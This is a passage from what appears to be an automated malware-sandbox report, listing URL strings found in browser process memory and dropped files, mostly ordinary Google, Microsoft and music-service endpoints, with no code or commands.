Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr, d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/&
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/)
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000002.00000003.2274328387.00005BAC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/3
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/=
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/E
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/G
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/H
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/L
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/O
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/R
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/V
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Y
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/c
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/f
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/g
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/j
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/m
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/p
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/q
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/w
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/z
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/~
Source: chrome.exe, 00000002.00000003.2277827169.0000122403B38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276578397.0000122403B34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2274328387.00005BAC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: msedge.exe, 00000007.00000002.2442941265.00007BCC00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: GDAAKFIDGIEGDGDHIDAK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000007.00000003.2350903371.00007BCC0037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000002.00000003.2238292918.0000122402BB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000002.00000003.2272349939.0000122403F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000002.00000003.2272349939.0000122403F44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000002.00000003.2274328387.00005BAC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000002.00000003.2274328387.00005BAC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000002.00000003.2265955270.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266855404.00001224039B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267445042.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266121680.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266278062.00001224039A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2268438576.0000122403A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267513304.000012240391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000002.00000003.2247100114.000012240262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247836470.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247588564.000012240340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000002.00000003.2247100114.000012240262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247836470.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247588564.000012240340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000002.00000003.2274328387.00005BAC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000002.00000003.2228351197.00005BAC0087C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000002.00000003.2227735850.00005BAC0071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271865587.0000122403834000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: chrome.exe, 00000002.00000003.2265955270.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266855404.00001224039B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267445042.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266121680.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266278062.00001224039A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2268438576.0000122403A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267513304.000012240391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: msedge.exe, 00000007.00000002.2442941265.00007BCC00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000007.00000002.2442941265.00007BCC00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000002.00000003.2245415337.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 000003.log3.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr, 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374704112052977.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: msedge.exe, 00000007.00000002.2442941265.00007BCC00394000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000002.00000003.2269776837.0000122402496000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://open.spotify.com
Source: chrome.exe, 00000002.00000003.2238790031.0000122402918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000002.00000003.2238790031.0000122402918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000003.2238790031.0000122402918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000002.00000003.2238790031.0000122402918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000002.00000003.2238790031.0000122402918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000002.00000003.2238790031.0000122402918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000002.00000003.2238790031.0000122402918000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://outlook.live.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/0/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/compose?isExtension=true
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/0/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/compose?isExtension=true
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/Logout
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/LogoutYxABzen
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/MergeSession
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/OAuthLogin
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/RotateBoundCookies
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/chrome/blank.html
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/o/oauth2/revoke
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth/multilogin
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v1/userinfo
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v2/tokeninfo
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/oauth2/v4/token
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/reauth/v1beta/users/
Source: msedge.exe, 00000007.00000003.2350598255.00007BCC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2348330321.00007BCC00264000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/v1/issuetoken
Source: chrome.exe, 00000002.00000003.2245415337.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
